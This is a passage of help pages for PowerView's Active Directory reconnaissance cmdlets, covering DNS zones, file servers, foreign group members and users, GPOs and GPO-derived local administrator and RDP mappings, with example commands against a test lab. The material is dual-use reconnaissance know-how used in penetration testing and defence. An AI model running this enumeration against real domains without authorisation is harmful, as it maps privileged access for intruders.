Type: Int32
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: 200
Accept pipeline input: False
Accept wildcard characters: False
```

### -ServerTimeLimit
Specifies the maximum amount of time the server spends searching.
Default of 120 seconds.

```yaml
Type: Int32
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: 0
Accept pipeline input: False
Accept wildcard characters: False
```

### -FindOne
Only return one result object.

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases: ReturnOne

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.

```yaml
Type: PSCredential
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: [Management.Automation.PSCredential]::Empty
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

## OUTPUTS

### PowerView.DNSRecord

Outputs custom PSObjects with detailed information about the DNS record entry.

## NOTES

## RELATED LINKS



            

          

      

      

    

  

    
      
          
            
  # Get-DomainDNSZone

## SYNOPSIS
Enumerates the Active Directory DNS zones for a given domain.

Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty

## SYNTAX

```
Get-DomainDNSZone [[-Domain] <String>] [-Server <String>] [-Properties <String[]>] [-ResultPageSize <Int32>]


[-ServerTimeLimit <Int32>] [-FindOne] [-Credential <PSCredential>]




```

## DESCRIPTION
{{Fill in the Description}}

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Get-DomainDNSZone
`

Retrieves the DNS zones for the current domain.

### ————————– EXAMPLE 2 ————————–
`
Get-DomainDNSZone -Domain dev.testlab.local -Server primary.testlab.local
`

Retrieves the DNS zones for the dev.testlab.local domain, binding to primary.testlab.local.

## PARAMETERS

### -Domain
The domain to query for zones, defaults to the current domain.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: 1
Default value: None
Accept pipeline input: True (ByValue)
Accept wildcard characters: False
```

### -Server
Specifies an Active Directory server (domain controller) to bind to for the search.

```yaml
Type: String
Parameter Sets: (All)
Aliases: DomainController

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Properties
Specifies the properties of the output object to retrieve from the server.

```yaml
Type: String[]
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.

```yaml
Type: Int32
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: 200
Accept pipeline input: False
Accept wildcard characters: False
```

### -ServerTimeLimit
Specifies the maximum amount of time the server spends searching.
Default of 120 seconds.

```yaml
Type: Int32
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: 0
Accept pipeline input: False
Accept wildcard characters: False
```

### -FindOne
Only return one result object.

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases: ReturnOne

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.

```yaml
Type: PSCredential
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: [Management.Automation.PSCredential]::Empty
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

## OUTPUTS

### PowerView.DNSZone

Outputs custom PSObjects with detailed information about the DNS zone.

## NOTES

## RELATED LINKS



            

          

      

      

    

  

    
      
          
            
  # Get-DomainFileServer

## SYNOPSIS
Returns a list of servers likely functioning as file servers.

Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainSearcher

## SYNTAX

```
Get-DomainFileServer [[-Domain] <String[]>] [[-LDAPFilter] <String>] [[-SearchBase] <String>]


[[-Server] <String>] [[-SearchScope] <String>] [[-ResultPageSize] <Int32>] [[-ServerTimeLimit] <Int32>]
[-Tombstone] [[-Credential] <PSCredential>]




```

## DESCRIPTION
Returns a list of likely fileservers by searching for all users in Active Directory
with non-null homedirectory, scriptpath, or profilepath fields, and extracting/uniquifying
the server names.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Get-DomainFileServer
`

Returns active file servers for the current domain.

### ————————– EXAMPLE 2 ————————–
`
Get-DomainFileServer -Domain testing.local
`

Returns active file servers for the ‘testing.local’ domain.

### ————————– EXAMPLE 3 ————————–
`
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
`

$Cred = New-Object System.Management.Automation.PSCredential(‘TESTLABdfm.a’, $SecPassword)
Get-DomainFileServer -Credential $Cred

## PARAMETERS

### -Domain
Specifies the domain to use for the query, defaults to the current domain.

```yaml
Type: String[]
Parameter Sets: (All)
Aliases: DomainName, Name

Required: False
Position: 1
Default value: None
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```

### -LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.

```yaml
Type: String
Parameter Sets: (All)
Aliases: Filter

Required: False
Position: 2
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -SearchBase
The LDAP source to search through, e.g.
“LDAP://OU=secret,DC=testlab,DC=local”
Useful for OU queries.

```yaml
Type: String
Parameter Sets: (All)
Aliases: ADSPath

Required: False
Position: 3
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Server
Specifies an Active Directory server (domain controller) to bind to.

```yaml
Type: String
Parameter Sets: (All)
Aliases: DomainController

Required: False
Position: 4
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: 5
Default value: Subtree
Accept pipeline input: False
Accept wildcard characters: False
```

### -ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.

```yaml
Type: Int32
Parameter Sets: (All)
Aliases:

Required: False
Position: 6
Default value: 200
Accept pipeline input: False
Accept wildcard characters: False
```

### -ServerTimeLimit
Specifies the maximum amount of time the server spends searching.
Default of 120 seconds.

```yaml
Type: Int32
Parameter Sets: (All)
Aliases:

Required: False
Position: 7
Default value: 0
Accept pipeline input: False
Accept wildcard characters: False
```

### -Tombstone
Switch.
Specifies that the searcher should also return deleted/tombstoned objects.

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.

```yaml
Type: PSCredential
Parameter Sets: (All)
Aliases:

Required: False
Position: 8
Default value: [Management.Automation.PSCredential]::Empty
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

## OUTPUTS

### String

One or more strings representing file server names.

## NOTES

## RELATED LINKS



            

          

      

      

    

  

    
      
          
            
  # Get-DomainForeignGroupMember

## SYNOPSIS
Enumerates groups with users outside of the group’s domain and returns
each foreign member.
This is a domain’s “incoming” access.

Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-Domain, Get-DomainGroup

## SYNTAX

```
Get-DomainForeignGroupMember [[-Domain] <String>] [-LDAPFilter <String>] [-Properties <String[]>]


[-SearchBase <String>] [-Server <String>] [-SearchScope <String>] [-ResultPageSize <Int32>]
[-ServerTimeLimit <Int32>] [-SecurityMasks <String>] [-Tombstone] [-Credential <PSCredential>]




```

## DESCRIPTION
Uses Get-DomainGroup to enumerate all groups for the current (or target) domain,
then enumerates the members of each group, and compares the member’s domain
name to the parent group’s domain name, outputting the member if the domains differ.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Get-DomainForeignGroupMember
`

Return all group members in the current domain where the group and member differ.

### ————————– EXAMPLE 2 ————————–
`
Get-DomainForeignGroupMember -Domain dev.testlab.local
`

Return all group members in the dev.testlab.local domain where the member is not in dev.testlab.local.

### ————————– EXAMPLE 3 ————————–
`
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
`

$Cred = New-Object System.Management.Automation.PSCredential(‘TESTLABdfm.a’, $SecPassword)
Get-DomainForeignGroupMember -Domain dev.testlab.local -Server secondary.dev.testlab.local -Credential $Cred

Return all group members in the dev.testlab.local domain where the member is
not in dev.testlab.local.
binding to the secondary.dev.testlab.local for
queries, and using the specified alternate credentials.

## PARAMETERS

### -Domain
Specifies the domain to use for the query, defaults to the current domain.

```yaml
Type: String
Parameter Sets: (All)
Aliases: Name

Required: False
Position: 1
Default value: None
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```

### -LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.

```yaml
Type: String
Parameter Sets: (All)
Aliases: Filter

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Properties
Specifies the properties of the output object to retrieve from the server.

```yaml
Type: String[]
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -SearchBase
The LDAP source to search through, e.g.
“LDAP://OU=secret,DC=testlab,DC=local”
Useful for OU queries.

```yaml
Type: String
Parameter Sets: (All)
Aliases: ADSPath

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Server
Specifies an Active Directory server (domain controller) to bind to.

```yaml
Type: String
Parameter Sets: (All)
Aliases: DomainController

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: Subtree
Accept pipeline input: False
Accept wildcard characters: False
```

### -ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.

```yaml
Type: Int32
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: 200
Accept pipeline input: False
Accept wildcard characters: False
```

### -ServerTimeLimit
Specifies the maximum amount of time the server spends searching.
Default of 120 seconds.

```yaml
Type: Int32
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: 0
Accept pipeline input: False
Accept wildcard characters: False
```

### -SecurityMasks
Specifies an option for examining security information of a directory object.
One of ‘Dacl’, ‘Group’, ‘None’, ‘Owner’, ‘Sacl’.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Tombstone
Switch.
Specifies that the searcher should also return deleted/tombstoned objects.

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.

```yaml
Type: PSCredential
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: [Management.Automation.PSCredential]::Empty
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

## OUTPUTS

### PowerView.ForeignGroupMember

Custom PSObject with translated group member property fields.

## NOTES

## RELATED LINKS



            

          

      

      

    

  

    
      
          
            
  # Get-DomainForeignUser

## SYNOPSIS
Enumerates users who are in groups outside of the user’s domain.
This is a domain’s “outgoing” access.

Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-Domain, Get-DomainUser

## SYNTAX

```
Get-DomainForeignUser [[-Domain] <String>] [-LDAPFilter <String>] [-Properties <String[]>]


[-SearchBase <String>] [-Server <String>] [-SearchScope <String>] [-ResultPageSize <Int32>]
[-ServerTimeLimit <Int32>] [-SecurityMasks <String>] [-Tombstone] [-Credential <PSCredential>]




```

## DESCRIPTION
Uses Get-DomainUser to enumerate all users for the current (or target) domain,
then calculates the given user’s domain name based on the user’s distinguishedName.
This domain name is compared to the queried domain, and the user object is
output if they differ.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Get-DomainForeignUser
`

Return all users in the current domain who are in groups not in the
current domain.

### ————————– EXAMPLE 2 ————————–
`
Get-DomainForeignUser -Domain dev.testlab.local
`

Return all users in the dev.testlab.local domain who are in groups not in the
dev.testlab.local domain.

### ————————– EXAMPLE 3 ————————–
`
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
`

$Cred = New-Object System.Management.Automation.PSCredential(‘TESTLABdfm.a’, $SecPassword)
Get-DomainForeignUser -Domain dev.testlab.local -Server secondary.dev.testlab.local -Credential $Cred

Return all users in the dev.testlab.local domain who are in groups not in the
dev.testlab.local domain, binding to the secondary.dev.testlab.local for queries, and
using the specified alternate credentials.

## PARAMETERS

### -Domain
Specifies the domain to use for the query, defaults to the current domain.

```yaml
Type: String
Parameter Sets: (All)
Aliases: Name

Required: False
Position: 1
Default value: None
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```

### -LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.

```yaml
Type: String
Parameter Sets: (All)
Aliases: Filter

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Properties
Specifies the properties of the output object to retrieve from the server.

```yaml
Type: String[]
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -SearchBase
The LDAP source to search through, e.g.
“LDAP://OU=secret,DC=testlab,DC=local”
Useful for OU queries.

```yaml
Type: String
Parameter Sets: (All)
Aliases: ADSPath

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Server
Specifies an Active Directory server (domain controller) to bind to.

```yaml
Type: String
Parameter Sets: (All)
Aliases: DomainController

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: Subtree
Accept pipeline input: False
Accept wildcard characters: False
```

### -ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.

```yaml
Type: Int32
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: 200
Accept pipeline input: False
Accept wildcard characters: False
```

### -ServerTimeLimit
Specifies the maximum amount of time the server spends searching.
Default of 120 seconds.

```yaml
Type: Int32
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: 0
Accept pipeline input: False
Accept wildcard characters: False
```

### -SecurityMasks
Specifies an option for examining security information of a directory object.
One of ‘Dacl’, ‘Group’, ‘None’, ‘Owner’, ‘Sacl’.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Tombstone
Switch.
Specifies that the searcher should also return deleted/tombstoned objects.

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.

```yaml
Type: PSCredential
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: [Management.Automation.PSCredential]::Empty
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

## OUTPUTS

### PowerView.ForeignUser

Custom PSObject with translated user property fields.

## NOTES

## RELATED LINKS



            

          

      

      

    

  

    
      
          
            
  # Get-DomainGPO

## SYNOPSIS
Return all GPOs or specific GPO objects in AD.

Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainSearcher, Get-DomainComputer, Get-DomainUser, Get-DomainOU, Get-NetComputerSiteName, Get-DomainSite, Get-DomainObject, Convert-LDAPProperty

## SYNTAX

### None (Default)
```
Get-DomainGPO [[-Identity] <String[]>] [-Domain <String>] [-LDAPFilter <String>] [-Properties <String[]>]


[-SearchBase <String>] [-Server <String>] [-SearchScope <String>] [-ResultPageSize <Int32>]
[-ServerTimeLimit <Int32>] [-SecurityMasks <String>] [-Tombstone] [-FindOne] [-Credential <PSCredential>]
[-Raw]




```

### ComputerIdentity
```
Get-DomainGPO [[-Identity] <String[]>] [-ComputerIdentity <String>] [-Domain <String>] [-LDAPFilter <String>]


[-Properties <String[]>] [-SearchBase <String>] [-Server <String>] [-SearchScope <String>]
[-ResultPageSize <Int32>] [-ServerTimeLimit <Int32>] [-SecurityMasks <String>] [-Tombstone] [-FindOne]
[-Credential <PSCredential>] [-Raw]




```

### UserIdentity
```
Get-DomainGPO [[-Identity] <String[]>] [-UserIdentity <String>] [-Domain <String>] [-LDAPFilter <String>]


[-Properties <String[]>] [-SearchBase <String>] [-Server <String>] [-SearchScope <String>]
[-ResultPageSize <Int32>] [-ServerTimeLimit <Int32>] [-SecurityMasks <String>] [-Tombstone] [-FindOne]
[-Credential <PSCredential>] [-Raw]




```

## DESCRIPTION
Builds a directory searcher object using Get-DomainSearcher, builds a custom
LDAP filter based on targeting/filter parameters, and searches for all objects
matching the criteria.
To only return specific properies, use
“-Properties samaccountname,usnchanged,…”.
By default, all GPO objects for
the current domain are returned.
To enumerate all GPOs that are applied to
a particular machine, use -ComputerName X.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Get-DomainGPO -Domain testlab.local
`

Return all GPOs for the testlab.local domain

### ————————– EXAMPLE 2 ————————–
`
Get-DomainGPO -ComputerName windows1.testlab.local
`

Returns all GPOs applied windows1.testlab.local

### ————————– EXAMPLE 3 ————————–
`
"{F260B76D-55C8-46C5-BEF1-9016DD98E272}","Test GPO" | Get-DomainGPO
`

Return the GPOs with the name of “{F260B76D-55C8-46C5-BEF1-9016DD98E272}” and the display
name of “Test GPO”

### ————————– EXAMPLE 4 ————————–
`
Get-DomainGPO -LDAPFilter '(!primarygroupid=513)' -Properties samaccountname,lastlogon
`

### ————————– EXAMPLE 5 ————————–
`
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
`

$Cred = New-Object System.Management.Automation.PSCredential(‘TESTLABdfm.a’, $SecPassword)
Get-DomainGPO -Credential $Cred

## PARAMETERS

### -Identity
A display name (e.g.
‘Test GPO’), DistinguishedName (e.g.
‘CN={F260B76D-55C8-46C5-BEF1-9016DD98E272},CN=Policies,CN=System,DC=testlab,DC=local’),
GUID (e.g.
‘10ec320d-3111-4ef4-8faf-8f14f4adc789’), or GPO name (e.g.
‘{F260B76D-55C8-46C5-BEF1-9016DD98E272}’).
Wildcards accepted.

```yaml
Type: String[]
Parameter Sets: (All)
Aliases: DistinguishedName, SamAccountName, Name

Required: False
Position: 1
Default value: None
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```

### -ComputerIdentity
Return all GPO objects applied to a given computer identity (name, dnsname, DistinguishedName, etc.).

```yaml
Type: String
Parameter Sets: ComputerIdentity
Aliases: ComputerName

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -UserIdentity
Return all GPO objects applied to a given user identity (name, SID, DistinguishedName, etc.).

```yaml
Type: String
Parameter Sets: UserIdentity
Aliases: UserName

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Domain
Specifies the domain to use for the query, defaults to the current domain.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.

```yaml
Type: String
Parameter Sets: (All)
Aliases: Filter

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Properties
Specifies the properties of the output object to retrieve from the server.

```yaml
Type: String[]
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -SearchBase
The LDAP source to search through, e.g.
“LDAP://OU=secret,DC=testlab,DC=local”
Useful for OU queries.

```yaml
Type: String
Parameter Sets: (All)
Aliases: ADSPath

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Server
Specifies an Active Directory server (domain controller) to bind to.

```yaml
Type: String
Parameter Sets: (All)
Aliases: DomainController

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: Subtree
Accept pipeline input: False
Accept wildcard characters: False
```

### -ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.

```yaml
Type: Int32
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: 200
Accept pipeline input: False
Accept wildcard characters: False
```

### -ServerTimeLimit
Specifies the maximum amount of time the server spends searching.
Default of 120 seconds.

```yaml
Type: Int32
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: 0
Accept pipeline input: False
Accept wildcard characters: False
```

### -SecurityMasks
Specifies an option for examining security information of a directory object.
One of ‘Dacl’, ‘Group’, ‘None’, ‘Owner’, ‘Sacl’.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Tombstone
Switch.
Specifies that the searcher should also return deleted/tombstoned objects.

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -FindOne
Only return one result object.

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases: ReturnOne

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.

```yaml
Type: PSCredential
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: [Management.Automation.PSCredential]::Empty
Accept pipeline input: False
Accept wildcard characters: False
```

### -Raw
Switch.
Return raw results instead of translating the fields into a custom PSObject.

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

## OUTPUTS

### PowerView.GPO

Custom PSObject with translated GPO property fields.

PowerView.GPO.Raw

The raw DirectoryServices.SearchResult object, if -Raw is enabled.

## NOTES

## RELATED LINKS



            

          

      

      

    

  

    
      
          
            
  # Get-DomainGPOComputerLocalGroupMapping

## SYNOPSIS
Takes a computer (or GPO) object and determines what users/groups are in the specified
local group for the machine through GPO correlation.

Author: @harmj0y
License: BSD 3-Clause
Required Dependencies: Get-DomainComputer, Get-DomainOU, Get-NetComputerSiteName, Get-DomainSite, Get-DomainGPOLocalGroup

## SYNTAX

### ComputerIdentity (Default)
```
Get-DomainGPOComputerLocalGroupMapping [-ComputerIdentity] <String> [-LocalGroup <String>] [-Domain <String>]


[-SearchBase <String>] [-Server <String>] [-SearchScope <String>] [-ResultPageSize <Int32>]
[-ServerTimeLimit <Int32>] [-Tombstone] [-Credential <PSCredential>]




```

### OUIdentity
```
Get-DomainGPOComputerLocalGroupMapping -OUIdentity <String> [-LocalGroup <String>] [-Domain <String>]


[-SearchBase <String>] [-Server <String>] [-SearchScope <String>] [-ResultPageSize <Int32>]
[-ServerTimeLimit <Int32>] [-Tombstone] [-Credential <PSCredential>]




```

## DESCRIPTION
This function is the inverse of Get-DomainGPOUserLocalGroupMapping, and finds what users/groups
are in the specified local group for a target machine through GPO correlation.

If a -ComputerIdentity is specified, retrieve the complete computer object, attempt to
determine the OU the computer is a part of.
Then resolve the computer’s site name with
Get-NetComputerSiteName and retrieve all sites object Get-DomainSite.
For those results, attempt to
enumerate all linked GPOs and associated local group settings with Get-DomainGPOLocalGroup.
For
each resulting GPO group, resolve the resulting user/group name to a full AD object and
return the results.
This will return the domain objects that are members of the specified
-LocalGroup for the given computer.

Otherwise, if -OUIdentity is supplied, the same process is executed to find linked GPOs and
localgroup specifications.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Get-DomainGPOComputerLocalGroupMapping -ComputerName WINDOWS3.testlab.local
`

Finds users who have local admin rights over WINDOWS3 through GPO correlation.

### ————————– EXAMPLE 2 ————————–
`
Get-DomainGPOComputerLocalGroupMapping -Domain dev.testlab.local -ComputerName WINDOWS4.dev.testlab.local -LocalGroup RDP
`

Finds users who have RDP rights over WINDOWS4 through GPO correlation.

### ————————– EXAMPLE 3 ————————–
`
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
`

$Cred = New-Object System.Management.Automation.PSCredential(‘TESTLABdfm.a’, $SecPassword)
Get-DomainGPOComputerLocalGroupMapping -Credential $Cred -ComputerIdentity SQL.testlab.local

## PARAMETERS

### -ComputerIdentity
A SamAccountName (e.g.
WINDOWS10$), DistinguishedName (e.g.
CN=WINDOWS10,CN=Computers,DC=testlab,DC=local),
SID (e.g.
S-1-5-21-890171859-3433809279-3366196753-1124), GUID (e.g.
4f16b6bc-7010-4cbf-b628-f3cfe20f6994),
or a dns host name (e.g.
windows10.testlab.local) for the computer to identity GPO local group mappings for.

```yaml
Type: String
Parameter Sets: ComputerIdentity
Aliases: ComputerName, Computer, DistinguishedName, SamAccountName, Name

Required: True
Position: 1
Default value: None
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```

### -OUIdentity
An OU name (e.g.
TestOU), DistinguishedName (e.g.
OU=TestOU,DC=testlab,DC=local), or
GUID (e.g.
8a9ba22a-8977-47e6-84ce-8c26af4e1e6a) for the OU to identity GPO local group mappings for.

```yaml
Type: String
Parameter Sets: OUIdentity
Aliases: OU

Required: True
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -LocalGroup
The local group to check access against.
Can be “Administrators” (S-1-5-32-544), “RDP/Remote Desktop Users” (S-1-5-32-555),
or a custom local SID.
Defaults to local ‘Administrators’.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: Administrators
Accept pipeline input: False
Accept wildcard characters: False
```

### -Domain
Specifies the domain to enumerate GPOs for, defaults to the current domain.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -SearchBase
{{Fill SearchBase Description}}

```yaml
Type: String
Parameter Sets: (All)
Aliases: ADSPath

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Server
Specifies an Active Directory server (domain controller) to bind to.

```yaml
Type: String
Parameter Sets: (All)
Aliases: DomainController

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: Subtree
Accept pipeline input: False
Accept wildcard characters: False
```

### -ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.

```yaml
Type: Int32
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: 200
Accept pipeline input: False
Accept wildcard characters: False
```

### -ServerTimeLimit
Specifies the maximum amount of time the server spends searching.
Default of 120 seconds.

```yaml
Type: Int32
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: 0
Accept pipeline input: False
Accept wildcard characters: False
```

### -Tombstone
Switch.
Specifies that the searcher should also return deleted/tombstoned objects.

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.

```yaml
Type: PSCredential
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: [Management.Automation.PSCredential]::Empty
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

## OUTPUTS

### PowerView.GGPOComputerLocalGroupMember

## NOTES

## RELATED LINKS



            

          

      

      

    

  

    
      
          
            
  # Get-DomainGPOLocalGroup

## SYNOPSIS
Returns all GPOs in a domain that modify local group memberships through ‘Restricted Groups’
or Group Policy preferences.
Also return their user membership mappings, if they exist.

Author: @harmj0y
License: BSD 3-Clause
Required Dependencies: Get-DomainGPO, Get-GptTmpl, Get-GroupsXML, ConvertTo-SID, ConvertFrom-SID

## SYNTAX

```
Get-DomainGPOLocalGroup [[-Identity] <String[]>] [-ResolveMembersToSIDs] [-Domain <String>]


[-LDAPFilter <String>] [-SearchBase <String>] [-Server <String>] [-SearchScope <String>]
[-ResultPageSize <Int32>] [-ServerTimeLimit <Int32>] [-Tombstone] [-Credential <PSCredential>]




```

## DESCRIPTION
First enumerates all GPOs in the current/target domain using Get-DomainGPO with passed
arguments, and for each GPO checks if ‘Restricted Groups’ are set with GptTmpl.inf or
group membership is set through Group Policy Preferences groups.xml files.
For any
GptTmpl.inf files found, the file is parsed with Get-GptTmpl and any ‘Group Membership’
section data is processed if present.
Any found Groups.xml files are parsed with
Get-GroupsXML and those memberships are returned as well.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Get-DomainGPOLocalGroup
`

Returns all local groups set by GPO along with their members and memberof.

### ————————– EXAMPLE 2 ————————–
`
Get-DomainGPOLocalGroup -ResolveMembersToSIDs
`

Returns all local groups set by GPO along with their members and memberof,
and resolve any members to their domain SIDs.

### ————————– EXAMPLE 3 ————————–
`
'{0847C615-6C4E-4D45-A064-6001040CC21C}' | Get-DomainGPOLocalGroup
`

Return any GPO-set groups for the GPO with the given name/GUID.

### ————————– EXAMPLE 4 ————————–
`
Get-DomainGPOLocalGroup 'Desktops'
`

Return any GPO-set groups for the GPO with the given display name.

### ————————– EXAMPLE 5 ————————–
`
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
`

$Cred = New-Object System.Management.Automation.PSCredential(‘TESTLABdfm.a’, $SecPassword)
Get-DomainGPOLocalGroup -Credential $Cred

## PARAMETERS

### -Identity
A display name (e.g.
‘Test GPO’), DistinguishedName (e.g.
